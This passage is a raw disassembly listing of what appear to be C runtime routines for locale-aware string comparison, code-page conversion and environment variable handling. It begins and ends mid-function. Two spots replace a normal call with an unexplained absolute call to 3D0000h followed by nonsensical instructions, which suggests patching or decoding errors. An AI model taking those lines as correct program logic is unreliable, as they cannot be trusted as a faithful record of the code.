jnz short loc_436940
xor eax, eax
jmp short loc_4369B1
; ---------------------------------------------------------------------------
loc_436940: ; CODE XREF: sub_436820+11Aj
mov edx, [ebp+var_1C]
push edx
mov eax, [ebp+var_20]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call ds:dword_4F12AC ; GetLocaleInfoW
test eax, eax
jnz short loc_43695E
xor eax, eax
jmp short loc_4369B1
; ---------------------------------------------------------------------------
loc_43695E: ; CODE XREF: sub_436820+138j
cmp [ebp+arg_C], 0
jnz short loc_436986
push 0
push 0
push 0
push 0
push 0FFFFFFFFh
mov eax, [ebp+var_20]
push eax
push 220h
mov ecx, [ebp+arg_10]
push ecx
call ds:dword_4F1384 ; WideCharToMultiByte
mov [ebp+var_24], eax
jmp short loc_4369AA
; ---------------------------------------------------------------------------
loc_436986: ; CODE XREF: sub_436820+142j
push 0
push 0
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
push 0FFFFFFFFh
mov ecx, [ebp+var_20]
push ecx
push 220h
mov edx, [ebp+arg_10]
push edx
call ds:dword_4F1384 ; WideCharToMultiByte
mov [ebp+var_24], eax
loc_4369AA: ; CODE XREF: sub_436820+164j
mov eax, [ebp+var_24]
jmp short loc_4369B1
; ---------------------------------------------------------------------------
loc_4369AF: ; CODE XREF: sub_436820+9Dj
xor eax, eax
loc_4369B1: ; CODE XREF: sub_436820+6Dj
; sub_436820+91j ...
lea esp, [ebp-34h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_436820 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4369D0 proc near ; CODE XREF: sub_436070+2Dp
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_36 = byte ptr -36h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_43AF60
push offset sub_42CA04
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFC8h
push ebx
push esi
push edi
mov [ebp+var_18], esp
cmp ds:dword_4EED00, 0
jnz short loc_436A56
push 1
push offset dword_43A2A8
push 1
push offset dword_43A2A8
push 0
push 0
call ds:dword_4F12A4 ; CompareStringW
test eax, eax
jz short loc_436A27
mov ds:dword_4EED00, 1
jmp short loc_436A56
; ---------------------------------------------------------------------------
loc_436A27: ; CODE XREF: sub_4369D0+49j
push 1
push offset dword_43A2A4
push 1
push offset dword_43A2A4
push 0
push 0
call ds:dword_4F12A8 ; CompareStringA
test eax, eax
jz short loc_436A4F
mov ds:dword_4EED00, 2
jmp short loc_436A56
; ---------------------------------------------------------------------------
loc_436A4F: ; CODE XREF: sub_4369D0+71j
xor eax, eax
jmp loc_436DB4
; ---------------------------------------------------------------------------
loc_436A56: ; CODE XREF: sub_4369D0+2Dj
; sub_4369D0+55j ...
cmp [ebp+arg_C], 0
jle short loc_436A6F
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
call sub_436DD0
add esp, 8
mov [ebp+arg_C], eax
loc_436A6F: ; CODE XREF: sub_4369D0+8Aj
cmp [ebp+arg_14], 0
jle short loc_436A88
mov edx, [ebp+arg_14]
push edx
mov eax, [ebp+arg_10]
push eax
call sub_436DD0
add esp, 8
mov [ebp+arg_14], eax
loc_436A88: ; CODE XREF: sub_4369D0+A3j
cmp ds:dword_4EED00, 2
jnz short loc_436AB4
mov ecx, [ebp+arg_14]
push ecx
mov edx, [ebp+arg_10]
push edx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call ds:dword_4F12A8 ; CompareStringA
jmp loc_436DB4
; ---------------------------------------------------------------------------
loc_436AB4: ; CODE XREF: sub_4369D0+BFj
cmp ds:dword_4EED00, 1
jnz loc_436DB2
cmp [ebp+arg_18], 0
jnz short loc_436AD0
mov ecx, ds:dword_4EEA80
mov [ebp+arg_18], ecx
loc_436AD0: ; CODE XREF: sub_4369D0+F5j
cmp [ebp+arg_C], 0
jz short loc_436AE0
cmp [ebp+arg_14], 0
jnz loc_436C5C
loc_436AE0: ; CODE XREF: sub_4369D0+104j
mov edx, [ebp+arg_C]
cmp edx, [ebp+arg_14]
jnz short loc_436AF2
mov eax, 2
jmp loc_436DB4
; ---------------------------------------------------------------------------
loc_436AF2: ; CODE XREF: sub_4369D0+116j
cmp [ebp+arg_14], 1
jle short loc_436B02
mov eax, 1
jmp loc_436DB4
; ---------------------------------------------------------------------------
loc_436B02: ; CODE XREF: sub_4369D0+126j
cmp [ebp+arg_C], 1
jle short loc_436B12
mov eax, 3
jmp loc_436DB4
; ---------------------------------------------------------------------------
loc_436B12: ; CODE XREF: sub_4369D0+136j
lea eax, [ebp+var_3C]
push eax
mov ecx, [ebp+arg_18]
push ecx
call near ptr 3D0000h
mov ds:775C085h, eax
xor eax, eax
jmp loc_436DB4
; ---------------------------------------------------------------------------
loc_436B2B: ; CODE XREF: sub_4369D0+198j
cmp [ebp+arg_C], 0
jnz short loc_436B37
cmp [ebp+arg_14], 1
jz short loc_436B64
loc_436B37: ; CODE XREF: sub_4369D0+15Fj
cmp [ebp+arg_C], 1
jnz short loc_436B43
cmp [ebp+arg_14], 0
jz short loc_436B64
loc_436B43: ; CODE XREF: sub_4369D0+16Bj
push offset aCchcount10Cchc ; "cchCount1==0 && cchCount2==1 || cchCoun"...
push 0
push 0B6h
push offset dword_43AF14
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_436B64
int 3 ; Trap to Debugger
loc_436B64: ; CODE XREF: sub_4369D0+165j
; sub_4369D0+171j ...
xor edx, edx
test edx, edx
jnz short loc_436B2B
cmp [ebp+arg_C], 0
jle short loc_436BE3
cmp [ebp+var_3C], 2
jnb short loc_436B80
mov eax, 3
jmp loc_436DB4
; ---------------------------------------------------------------------------
loc_436B80: ; CODE XREF: sub_4369D0+1A4j
lea eax, [ebp+var_36]
mov [ebp+var_40], eax
jmp short loc_436B91
; ---------------------------------------------------------------------------
loc_436B88: ; CODE XREF: sub_4369D0:loc_436BD7j
mov ecx, [ebp+var_40]
add ecx, 2
mov [ebp+var_40], ecx
loc_436B91: ; CODE XREF: sub_4369D0+1B6j
mov edx, [ebp+var_40]
xor eax, eax
mov al, [edx]
test eax, eax
jz short loc_436BD9
mov ecx, [ebp+var_40]
xor edx, edx
mov dl, [ecx+1]
test edx, edx
jz short loc_436BD9
mov eax, [ebp+arg_8]
xor ecx, ecx
mov cl, [eax]
mov edx, [ebp+var_40]
xor eax, eax
mov al, [edx]
cmp ecx, eax
jl short loc_436BD7
mov ecx, [ebp+arg_8]
xor edx, edx
mov dl, [ecx]
mov eax, [ebp+var_40]
xor ecx, ecx
mov cl, [eax+1]
cmp edx, ecx
jg short loc_436BD7
mov eax, 2
jmp loc_436DB4
; ---------------------------------------------------------------------------
loc_436BD7: ; CODE XREF: sub_4369D0+1E8j
; sub_4369D0+1FBj
jmp short loc_436B88
; ---------------------------------------------------------------------------
loc_436BD9: ; CODE XREF: sub_4369D0+1CAj
; sub_4369D0+1D6j
mov eax, 3
jmp loc_436DB4
; ---------------------------------------------------------------------------
loc_436BE3: ; CODE XREF: sub_4369D0+19Ej
cmp [ebp+arg_14], 0
jle short loc_436C5C
cmp [ebp+var_3C], 2
jnb short loc_436BF9
mov eax, 1
jmp loc_436DB4
; ---------------------------------------------------------------------------
loc_436BF9: ; CODE XREF: sub_4369D0+21Dj
lea edx, [ebp+var_36]
mov [ebp+var_40], edx
jmp short loc_436C0A
; ---------------------------------------------------------------------------
loc_436C01: ; CODE XREF: sub_4369D0:loc_436C50j
mov eax, [ebp+var_40]
add eax, 2
mov [ebp+var_40], eax
loc_436C0A: ; CODE XREF: sub_4369D0+22Fj
mov ecx, [ebp+var_40]
xor edx, edx
mov dl, [ecx]
test edx, edx
jz short loc_436C52
mov eax, [ebp+var_40]
xor ecx, ecx
mov cl, [eax+1]
test ecx, ecx
jz short loc_436C52
mov edx, [ebp+arg_10]
xor eax, eax
mov al, [edx]
mov ecx, [ebp+var_40]
xor edx, edx
mov dl, [ecx]
cmp eax, edx
jl short loc_436C50
mov eax, [ebp+arg_10]
xor ecx, ecx
mov cl, [eax]
mov edx, [ebp+var_40]
xor eax, eax
mov al, [edx+1]
cmp ecx, eax
jg short loc_436C50
mov eax, 2
jmp loc_436DB4
; ---------------------------------------------------------------------------
loc_436C50: ; CODE XREF: sub_4369D0+261j
; sub_4369D0+274j
jmp short loc_436C01
; ---------------------------------------------------------------------------
loc_436C52: ; CODE XREF: sub_4369D0+243j
; sub_4369D0+24Fj
mov eax, 1
jmp loc_436DB4
; ---------------------------------------------------------------------------
loc_436C5C: ; CODE XREF: sub_4369D0+10Aj
; sub_4369D0+217j
push 0
push 0
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
push 9
mov eax, [ebp+arg_18]
push eax
call ds:dword_4F1370 ; MultiByteToWideChar
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0
jnz short loc_436C84
xor eax, eax
jmp loc_436DB4
; ---------------------------------------------------------------------------
loc_436C84: ; CODE XREF: sub_4369D0+2ABj
mov [ebp+var_4], 0
mov eax, [ebp+var_1C]
shl eax, 1
add eax, 3
and al, 0FCh
call sub_41DEB0
mov [ebp+var_44], esp
mov [ebp+var_18], esp
mov ecx, [ebp+var_44]
mov [ebp+var_24], ecx
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_436CC6
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_24], 0
mov [ebp+var_4], 0FFFFFFFFh
loc_436CC6: ; CODE XREF: sub_4369D0+2DDj
cmp [ebp+var_24], 0
jnz short loc_436CD3
xor eax, eax
jmp loc_436DB4
; ---------------------------------------------------------------------------
loc_436CD3: ; CODE XREF: sub_4369D0+2FAj
mov edx, [ebp+var_1C]
push edx
mov eax, [ebp+var_24]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
push 1
mov eax, [ebp+arg_18]
push eax
call ds:dword_4F1370 ; MultiByteToWideChar
test eax, eax
jnz short loc_436CFA
xor eax, eax
jmp loc_436DB4
; ---------------------------------------------------------------------------
loc_436CFA: ; CODE XREF: sub_4369D0+321j
push 0
push 0
mov ecx, [ebp+arg_14]
push ecx
mov edx, [ebp+arg_10]
push edx
push 9
mov eax, [ebp+arg_18]
push eax
call ds:dword_4F1370 ; MultiByteToWideChar
mov [ebp+var_20], eax
cmp [ebp+var_20], 0
jnz short loc_436D22
xor eax, eax
jmp loc_436DB4
; ---------------------------------------------------------------------------
loc_436D22: ; CODE XREF: sub_4369D0+349j
mov [ebp+var_4], 1
mov eax, [ebp+var_20]
shl eax, 1
add eax, 3
and al, 0FCh
call sub_41DEB0
mov [ebp+var_48], esp
mov [ebp+var_18], esp
mov ecx, [ebp+var_48]
mov [ebp+var_28], ecx
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_436D64
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_28], 0
mov [ebp+var_4], 0FFFFFFFFh
loc_436D64: ; CODE XREF: sub_4369D0+37Bj
cmp [ebp+var_28], 0
jnz short loc_436D6E
xor eax, eax
jmp short loc_436DB4
; ---------------------------------------------------------------------------
loc_436D6E: ; CODE XREF: sub_4369D0+398j
mov edx, [ebp+var_20]
push edx
mov eax, [ebp+var_28]
push eax
mov ecx, [ebp+arg_14]
push ecx
mov edx, [ebp+arg_10]
push edx
push 1
mov eax, [ebp+arg_18]
push eax
call ds:dword_4F1370 ; MultiByteToWideChar
test eax, eax
jnz short loc_436D92
xor eax, eax
jmp short loc_436DB4
; ---------------------------------------------------------------------------
loc_436D92: ; CODE XREF: sub_4369D0+3BCj
mov ecx, [ebp+var_20]
push ecx
mov edx, [ebp+var_28]
push edx
mov eax, [ebp+var_1C]
push eax
mov ecx, [ebp+var_24]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call ds:dword_4F12A4 ; CompareStringW
jmp short loc_436DB4
; ---------------------------------------------------------------------------
loc_436DB2: ; CODE XREF: sub_4369D0+EBj
xor eax, eax
loc_436DB4: ; CODE XREF: sub_4369D0+81j
; sub_4369D0+DFj ...
lea esp, [ebp-54h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4369D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_436DD0 proc near ; CODE XREF: sub_4369D0+94p
; sub_4369D0+ADp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+arg_4]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
mov [ebp+var_4], ecx
loc_436DE2: ; CODE XREF: sub_436DD0+35j
mov edx, [ebp+var_8]
mov eax, [ebp+var_8]
sub eax, 1
mov [ebp+var_8], eax
test edx, edx
jz short loc_436E07
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_436E07
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
jmp short loc_436DE2
; ---------------------------------------------------------------------------
loc_436E07: ; CODE XREF: sub_436DD0+20j
; sub_436DD0+2Aj
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
test edx, edx
jnz short loc_436E19
mov eax, [ebp+var_4]
sub eax, [ebp+arg_0]
jmp short loc_436E1C
; ---------------------------------------------------------------------------
loc_436E19: ; CODE XREF: sub_436DD0+3Fj
mov eax, [ebp+arg_4]
loc_436E1C: ; CODE XREF: sub_436DD0+47j
mov esp, ebp
pop ebp
retn
sub_436DD0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_436E20 proc near ; CODE XREF: sub_4360C0+92p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
push esi
cmp [ebp+arg_0], 0
jz short loc_436E4C
push 3Dh
mov eax, [ebp+arg_0]
push eax
call sub_437270
add esp, 8
mov [ebp+var_18], eax
cmp [ebp+var_18], 0
jz short loc_436E4C
mov ecx, [ebp+arg_0]
cmp ecx, [ebp+var_18]
jnz short loc_436E54
loc_436E4C: ; CODE XREF: sub_436E20+Bj
; sub_436E20+22j
or eax, 0FFFFFFFFh
jmp loc_4370FB
; ---------------------------------------------------------------------------
loc_436E54: ; CODE XREF: sub_436E20+2Aj
mov edx, [ebp+var_18]
movsx eax, byte ptr [edx+1]
neg eax
sbb eax, eax
inc eax
mov [ebp+var_14], eax
mov ecx, ds:dword_4EE988
cmp ecx, ds:dword_4EE98C
jnz short loc_436E85
mov edx, ds:dword_4EE988
push edx
call sub_437180
add esp, 4
mov ds:dword_4EE988, eax
loc_436E85: ; CODE XREF: sub_436E20+4Fj
cmp ds:dword_4EE988, 0
jnz loc_436F45
cmp [ebp+arg_4], 0
jz short loc_436EB7
cmp ds:dword_4EE990, 0
jz short loc_436EB7
call sub_4360C0
test eax, eax
jz short loc_436EB2
or eax, 0FFFFFFFFh
jmp loc_4370FB
; ---------------------------------------------------------------------------
loc_436EB2: ; CODE XREF: sub_436E20+88j
jmp loc_436F45
; ---------------------------------------------------------------------------
loc_436EB7: ; CODE XREF: sub_436E20+76j
; sub_436E20+7Fj
cmp [ebp+var_14], 0
jz short loc_436EC4
xor eax, eax
jmp loc_4370FB
; ---------------------------------------------------------------------------
loc_436EC4: ; CODE XREF: sub_436E20+9Bj
cmp ds:dword_4EE988, 0
jnz short loc_436F04
push 87h
push offset dword_43AF78
push 2
push 4
call sub_41AE60
add esp, 10h
mov ds:dword_4EE988, eax
cmp ds:dword_4EE988, 0
jnz short loc_436EF9
or eax, 0FFFFFFFFh
jmp loc_4370FB
; ---------------------------------------------------------------------------
loc_436EF9: ; CODE XREF: sub_436E20+CFj
mov eax, ds:dword_4EE988
mov dword ptr [eax], 0
loc_436F04: ; CODE XREF: sub_436E20+ABj
cmp ds:dword_4EE990, 0
jnz short loc_436F45
push 8Eh
push offset dword_43AF78
push 2
push 4
call sub_41AE60
add esp, 10h
mov ds:dword_4EE990, eax
cmp ds:dword_4EE990, 0
jnz short loc_436F39
or eax, 0FFFFFFFFh
jmp loc_4370FB
; ---------------------------------------------------------------------------
loc_436F39: ; CODE XREF: sub_436E20+10Fj
mov ecx, ds:dword_4EE990
mov dword ptr [ecx], 0
loc_436F45: ; CODE XREF: sub_436E20+6Cj
; sub_436E20:loc_436EB2j ...
mov edx, ds:dword_4EE988
mov [ebp+var_C], edx
mov eax, [ebp+var_18]
sub eax, [ebp+arg_0]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_437100
add esp, 8
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jl loc_437001
mov edx, [ebp+var_C]
cmp dword ptr [edx], 0
jz loc_437001
cmp [ebp+var_14], 0
jz short loc_436FF3
push 2
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
mov edx, [ecx+eax*4]
push edx
call sub_41B8F0
add esp, 8
jmp short loc_436F9F
; ---------------------------------------------------------------------------
loc_436F96: ; CODE XREF: sub_436E20+19Ej
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
loc_436F9F: ; CODE XREF: sub_436E20+174j
mov ecx, [ebp+var_8]
mov edx, [ebp+var_C]
cmp dword ptr [edx+ecx*4], 0
jz short loc_436FC0
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
mov edx, [ebp+var_8]
mov esi, [ebp+var_C]
mov edx, [esi+edx*4+4]
mov [ecx+eax*4], edx
jmp short loc_436F96
; ---------------------------------------------------------------------------
loc_436FC0: ; CODE XREF: sub_436E20+189j
push 0B9h
push offset dword_43AF78
push 2
mov eax, [ebp+var_8]
shl eax, 2
push eax
mov ecx, [ebp+var_C]
push ecx
call sub_41B2F0
add esp, 14h
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jz short loc_436FF1
mov edx, [ebp+var_C]
mov ds:dword_4EE988, edx
loc_436FF1: ; CODE XREF: sub_436E20+1C6j
jmp short loc_436FFF
; ---------------------------------------------------------------------------
loc_436FF3: ; CODE XREF: sub_436E20+15Ej
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
mov edx, [ebp+arg_0]
mov [ecx+eax*4], edx
loc_436FFF: ; CODE XREF: sub_436E20:loc_436FF1j
jmp short loc_437074
; ---------------------------------------------------------------------------
loc_437001: ; CODE XREF: sub_436E20+148j
; sub_436E20+154j
cmp [ebp+var_14], 0
jnz short loc_43706D
cmp [ebp+var_8], 0
jge short loc_437015
mov eax, [ebp+var_8]
neg eax
mov [ebp+var_8], eax
loc_437015: ; CODE XREF: sub_436E20+1EBj
push 0CEh
push offset dword_43AF78
push 2
mov ecx, [ebp+var_8]
lea edx, ds:8[ecx*4]
push edx
mov eax, [ebp+var_C]
push eax
call sub_41B2F0
add esp, 14h
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_437049
or eax, 0FFFFFFFFh
jmp loc_4370FB
; ---------------------------------------------------------------------------
loc_437049: ; CODE XREF: sub_436E20+21Fj
mov ecx, [ebp+var_8]
mov edx, [ebp+var_C]
mov eax, [ebp+arg_0]
mov [edx+ecx*4], eax
mov ecx, [ebp+var_8]
mov edx, [ebp+var_C]
mov dword ptr [edx+ecx*4+4], 0
mov eax, [ebp+var_C]
mov ds:dword_4EE988, eax
jmp short loc_437074
; ---------------------------------------------------------------------------
loc_43706D: ; CODE XREF: sub_436E20+1E5j
xor eax, eax
jmp loc_4370FB
; ---------------------------------------------------------------------------
loc_437074: ; CODE XREF: sub_436E20:loc_436FFFj
; sub_436E20+24Bj
cmp [ebp+arg_4], 0
jz short loc_4370F9
push 0E5h
push offset dword_43AF78
push 2
mov ecx, [ebp+arg_0]
push ecx
call sub_41AC70
add esp, 4
add eax, 2
push eax
call sub_41AE60
add esp, 10h
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jz short loc_4370F9
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+var_10]
push eax
call sub_41E550
add esp, 8
mov ecx, [ebp+var_18]
sub ecx, [ebp+arg_0]
mov edx, [ebp+var_10]
add edx, ecx
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
mov byte ptr [eax], 0
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_14]
neg edx
sbb edx, edx
not edx
and edx, [ebp+var_4]
push edx
mov eax, [ebp+var_10]
push eax
call near ptr 3D0000h
add [edx+2], ch
mov ecx, [ebp+var_10]
push ecx
call sub_41B8F0
add esp, 8
loc_4370F9: ; CODE XREF: sub_436E20+258j
; sub_436E20+285j
xor eax, eax
loc_4370FB: ; CODE XREF: sub_436E20+2Fj
; sub_436E20+8Dj ...
pop esi
mov esp, ebp
pop ebp
retn
sub_436E20 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_437100 proc near ; CODE XREF: sub_436E20+139p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, ds:dword_4EE988
mov [ebp+var_4], eax
jmp short loc_437117
; ---------------------------------------------------------------------------
loc_43710E: ; CODE XREF: sub_437100:loc_437168j
mov ecx, [ebp+var_4]
add ecx, 4
mov [ebp+var_4], ecx
loc_437117: ; CODE XREF: sub_437100+Cj
mov edx, [ebp+var_4]
cmp dword ptr [edx], 0
jz short loc_43716A
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_4]
mov edx, [ecx]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_436070
add esp, 0Ch
test eax, eax
jnz short loc_437168
mov ecx, [ebp+var_4]
mov edx, [ecx]
mov eax, [ebp+arg_4]
movsx ecx, byte ptr [edx+eax]
cmp ecx, 3Dh
jz short loc_43715A
mov edx, [ebp+var_4]
mov eax, [edx]
mov ecx, [ebp+arg_4]
movsx edx, byte ptr [eax+ecx]
test edx, edx
jnz short loc_437168
loc_43715A: ; CODE XREF: sub_437100+48j
mov eax, [ebp+var_4]
sub eax, ds:dword_4EE988
sar eax, 2
jmp short loc_437178
; ---------------------------------------------------------------------------
loc_437168: ; CODE XREF: sub_437100+37j
; sub_437100+58j
jmp short loc_43710E
; ---------------------------------------------------------------------------
loc_43716A: ; CODE XREF: sub_437100+1Dj
mov eax, [ebp+var_4]
sub eax, ds:dword_4EE988
sar eax, 2
neg eax
loc_437178: ; CODE XREF: sub_437100+66j
mov esp, ebp
pop ebp
retn
sub_437100 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_437180 proc near ; CODE XREF: sub_436E20+58p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
mov [ebp+var_10], 0
mov eax, [ebp+arg_0]
mov [ebp+var_C], eax
cmp [ebp+arg_0], 0
jnz short loc_4371A0
xor eax, eax
jmp loc_43726A
; ---------------------------------------------------------------------------
loc_4371A0: ; CODE XREF: sub_437180+17j
; sub_437180+3Bj
mov ecx, [ebp+var_C]
mov edx, [ecx]
mov eax, [ebp+var_C]
add eax, 4
mov [ebp+var_C], eax
test edx, edx
jz short loc_4371BD
mov ecx, [ebp+var_10]
add ecx, 1
mov [ebp+var_10], ecx
jmp short loc_4371A0
; ---------------------------------------------------------------------------
loc_4371BD: ; CODE XREF: sub_437180+30j
push 146h
push offset dword_43AF78
push 2
mov edx, [ebp+var_10]
lea eax, ds:4[edx*4]
push eax
call sub_41AE60
add esp, 10h
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
mov [ebp+var_4], ecx
cmp [ebp+var_4], 0
jnz short loc_4371F5
push 9
call sub_420CA0
add esp, 4
loc_4371F5: ; CODE XREF: sub_437180+69j
mov edx, [ebp+arg_0]
mov [ebp+var_C], edx
loc_4371FB: ; CODE XREF: sub_437180+DCj
mov eax, [ebp+var_C]
cmp dword ptr [eax], 0
jz short loc_43725E
push 14Fh
push offset dword_43AF78
push 2
mov ecx, [ebp+var_C]
mov edx, [ecx]
push edx
call sub_41AC70
add esp, 4
add eax, 1
push eax
call sub_41AE60
add esp, 10h
mov ecx, [ebp+var_8]
mov [ecx], eax
mov edx, [ebp+var_8]
cmp dword ptr [edx], 0
jz short loc_43724A
mov eax, [ebp+var_C]
mov ecx, [eax]
push ecx
mov edx, [ebp+var_8]
mov eax, [edx]
push eax
call sub_41E550
add esp, 8
loc_43724A: ; CODE XREF: sub_437180+B4j
mov ecx, [ebp+var_C]
add ecx, 4
mov [ebp+var_C], ecx
mov edx, [ebp+var_8]
add edx, 4
mov [ebp+var_8], edx
jmp short loc_4371FB
; ---------------------------------------------------------------------------
loc_43725E: ; CODE XREF: sub_437180+81j
mov eax, [ebp+var_8]
mov dword ptr [eax], 0
mov eax, [ebp+var_4]
loc_43726A: ; CODE XREF: sub_437180+1Bj
mov esp, ebp
pop ebp
retn
sub_437180 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_437270 proc near ; CODE XREF: sub_436E20+13p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp ds:dword_4EEE3C, 0
jnz short loc_437292
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_41E650
add esp, 8
jmp loc_437359
; ---------------------------------------------------------------------------
loc_437292: ; CODE XREF: sub_437270+Bj
push 19h
call sub_421A80
add esp, 4
jmp short loc_4372A7
; ---------------------------------------------------------------------------
loc_43729E: ; CODE XREF: sub_437270:loc_437336j
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
loc_4372A7: ; CODE XREF: sub_437270+2Cj
mov eax, [ebp+arg_0]
movzx cx, byte ptr [eax]
mov word ptr [ebp+var_4], cx
mov edx, [ebp+var_4]
and edx, 0FFFFh
test edx, edx
jz short loc_43733B
mov eax, [ebp+var_4]
and eax, 0FFh
xor ecx, ecx
mov cl, ds:byte_4EEF41[eax]
and ecx, 4
test ecx, ecx
jz short loc_437326
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cl, [eax]
test ecx, ecx
jnz short loc_4372F8
push 19h
call sub_421B20
add esp, 4
xor eax, eax
jmp short loc_437359
; ---------------------------------------------------------------------------
loc_4372F8: ; CODE XREF: sub_437270+78j
mov edx, [ebp+var_4]
and edx, 0FFFFh
shl edx, 8
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cl, [eax]
or edx, ecx
cmp [ebp+arg_4], edx
jnz short loc_437324
push 19h
call sub_421B20
add esp, 4
mov eax, [ebp+arg_0]
sub eax, 1
jmp short loc_437359
; ---------------------------------------------------------------------------
loc_437324: ; CODE XREF: sub_437270+A0j
jmp short loc_437336
; ---------------------------------------------------------------------------
loc_437326: ; CODE XREF: sub_437270+64j
mov edx, [ebp+var_4]
and edx, 0FFFFh
cmp [ebp+arg_4], edx
jnz short loc_437336
jmp short loc_43733B
; ---------------------------------------------------------------------------
loc_437336: ; CODE XREF: sub_437270:loc_437324j
; sub_437270+C2j
jmp loc_43729E
; ---------------------------------------------------------------------------
loc_43733B: ; CODE XREF: sub_437270+4Dj
; sub_437270+C4j
push 19h
call sub_421B20
add esp, 4
mov eax, [ebp+var_4]
and eax, 0FFFFh
cmp [ebp+arg_4], eax
jnz short loc_437357
mov eax, [ebp+arg_0]
jmp short loc_437359
; ---------------------------------------------------------------------------
loc_437357: ; CODE XREF: sub_437270+E0j
xor eax, eax
loc_437359: ; CODE XREF: sub_437270+1Dj
; sub_437270+86j ...
mov esp, ebp
pop ebp
retn
sub_437270 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_437360 proc near ; CODE XREF: sub_40D4B2+15p
; sub_40D546+15p ...
var_3C = byte ptr -3Ch
var_38 = byte ptr -38h
var_28 = byte ptr -28h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_437360
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
lea eax, [ebp+var_3C]
push eax
push offset aStringTooLong ; "string too long"
lea ecx, [ebp+var_38]
call sub_40D45F
mov [ebp+var_4], 0
lea ecx, [ebp+var_38]
push ecx
lea ecx, [ebp+var_28]
call sub_437510
push offset dword_43B2D0
lea edx, [ebp+var_28]
push edx
call sub_437F60
mov ecx, [ebp+var_C]
